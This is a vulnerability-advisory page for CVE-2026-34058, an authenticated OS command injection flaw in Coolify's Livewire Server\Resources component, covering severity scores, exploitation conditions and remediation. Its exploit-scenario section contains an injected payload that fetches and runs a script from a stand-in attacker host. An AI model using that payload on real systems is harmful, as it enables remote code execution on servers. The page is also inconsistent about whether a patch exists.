Skip to main content

Coolify CVE-2026-34058

| EUVDEUVD-2026-41983 HIGH
OS Command Injection (CWE-78)
2026-07-07 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as Coolify team member
  2. Delivery
    Invoke Livewire startUnmanaged method
  3. Exploit
    Inject shell metacharacters in container ID
  4. Execution
    Command interpolated into SSH shell command
  5. Persist
    Arbitrary OS commands run on managed server
  6. Impact
    Full compromise and lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Coolify team account (CVSS PR:L) and access to the Livewire Server\Resources component's startUnmanaged, stopUnmanaged, or restartUnmanaged methods - the attacker supplies a malicious container ID parameter containing shell metacharacters, which Coolify interpolates unescaped into an SSH-executed shell command. The exact prerequisite is: any user who is a member of a team and can reach the Coolify UI's resource/server management endpoints. There must also be at least one managed server for the command to be dispatched to. Limiting factors: this is NOT anonymous/unauthenticated (a team account is mandatory), no admin role is required (any team member suffices), and no user interaction from a victim is needed. In a single-operator self-hosted install the only team members are the trusted admins, which sharply narrows realistic risk; in multi-tenant or organization-wide Coolify deployments the low privilege requirement makes it a practical insider-to-RCE escalation.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) indicates network-reachable, low-complexity exploitation requiring only low privileges (PR:L) and no user interaction, with full compromise (C:H/I:H/A:H) of the affected system. The PR:L is meaningful: the attacker must already be an authenticated member of a Coolify team, which limits the population to insiders or attackers who have obtained/created a team account - this is not an anonymous internet-wide RCE. However, once that low bar is met, exploitation is essentially guaranteed and yields arbitrary OS command execution across every server Coolify manages, so the real-world impact is severe (lateral movement and root-level control of downstream hosts via Coolify's privileged SSH keys). No EPSS score was supplied in the input, and the CVE is not listed in CISA KEV, with no POC referenced - so there is no evidence of active or automated exploitation yet. Net assessment: a genuine high priority for anyone running multi-tenant or shared Coolify instances (privilege escalation from limited team member to server-wide RCE), and lower urgency for single-admin self-hosted deployments where the only 'team members' are already trusted. Missing signal to note: EPSS and POC status are unknown from the provided data.

Exploit ScenarioDerived

A low-privileged member of a Coolify team opens the browser dev tools (or a crafted request) and invokes the Livewire startUnmanaged method with a container ID payload such as 'x; curl attacker.sh | bash'. Coolify concatenates this into a shell command and executes it over SSH on the selected managed server, running the attacker's commands with Coolify's SSH privileges. No public exploit identified at time of analysis, but the network vector and low attack complexity (AC:L) make weaponization trivial for any authenticated user.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 07, 2026

OS command injection in Coolify's self-hosted server-management platform (all versions prior to 4.0.0-beta.471) lets any authenticated team member execute arbitrary shell commands on any managed remote server. The flaw lives in the Livewire Server\Resources component, whose public startUnmanaged/stopUnmanaged/restartUnmanaged methods take a browser-supplied container ID and interpolate it unescaped into SSH-executed shell commands. No public exploit identified at time of analysis and it is not in CISA KEV, but the trivially low complexity (CVSS 8.8) makes exploitation straightforward for anyone with a team account.

RemediationAI

Vendor-released patch: upgrade Coolify to 4.0.0-beta.471 or later, which adds sanitization/escaping of the container ID parameter in the Server\Resources Livewire component (see PR 9172 and commit 944a038 referenced in advisory GHSA-rh5x-qx77-fq9v). This is the primary and only complete fix. If you cannot upgrade immediately, reduce exposure by tightly restricting team membership - remove or downgrade any non-essential team members and treat every team account as capable of full server RCE, since the vulnerability escalates any team member to arbitrary command execution. Additionally, place the Coolify web UI behind a VPN, IP allowlist, or reverse-proxy authentication so the Livewire endpoints are not broadly reachable, and monitor SSH command activity on managed servers for anomalous docker/container invocations; note the trade-off that network restrictions do not stop a legitimate-but-malicious team member, so upgrading remains essential. Advisory and patch: https://github.com/coollabsio/coolify/security/advisories/GHSA-rh5x-qx77-fq9v and https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471.

Affected VersionsENISA

coolify < 4.0.0-beta.471

Affected Packages

euvd coolify fix: 4.0.0-beta.471

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is an open-source, self-hostable PaaS (a Heroku/Netlify/Vercel alternative) that provisions and controls applications, databases, and Docker containers across fleets of remote servers over SSH. It is built on the Laravel Livewire framework, where server-side component methods can be invoked directly from the browser. The affected Server\Resources component declares startUnmanaged, stopUnmanaged, and restartUnmanaged as public (browser-callable) methods that receive a container ID argument. Because Livewire exposes public methods as remote endpoints, an attacker can call them with an arbitrary value. That value is concatenated directly into a shell command string (e.g. a docker start/stop/restart invocation) that Coolify then runs on the target managed host through its SSH connection. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: the absence of shell-escaping or input validation allows shell metacharacters (;, |, $(), backticks) to break out of the intended command. The affected package is coollabsio/coolify (CPE cpe:2.3:a:coollabsio:coolify).

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable Livewire endpoint (AV:N/AC:L), requires an authenticated team account (PR:L), no user interaction, and unsanitized shell injection yields full OS command execution (C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jul 07, 2026 - 05:01 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the Livewire component Server\Resources exposes public methods (startUnmanaged, stopUnmanaged, restartUnmanaged) that accept a container ID parameter directly from the browser without any sanitization or escaping. This parameter is interpolated directly into shell commands executed via SSH on managed servers, enabling any authenticated team member to execute arbitrary OS commands on remote servers. This issue is fixed in version 4.0.0-beta.471.

Executive ViewAI

Why It Matters

Coolify, a self-hosted server-management platform, contains an OS command injection vulnerability allowing any authenticated team member to execute arbitrary shell commands on all managed remote servers. This internal threat grants complete infrastructure compromise for any employee with legitimate platform access. No vendor-released patch identified at time of analysis, leaving organizations dependent on access controls and network segmentation to prevent catastrophic system compromise.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Strictly limit team account creation to authorized operations personnel only with documented approval; (2) Implement network segmentation restricting Coolify to isolated subnet with no direct internet access; (3) Deploy egress filtering to permit SSH only to explicitly approved target servers and ports; (4) Enable detailed audit logging of all commands executed through Coolify with real-time alerting on shell metacharacters; (5) Monitor access logs for suspicious patterns and conduct quarterly access reviews; (6) Consider implementing SSH key restrictions to read-only scope or temporary operational workarounds for non-critical infrastructure pending patch availability.

Threat Intelligence Overview

EPSS Score
0.4%
Top 73% exploitable
Prevalence
Medium
popular open-source self-hosted PaaS, common in self-hosting community, limited enterprise footprint
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy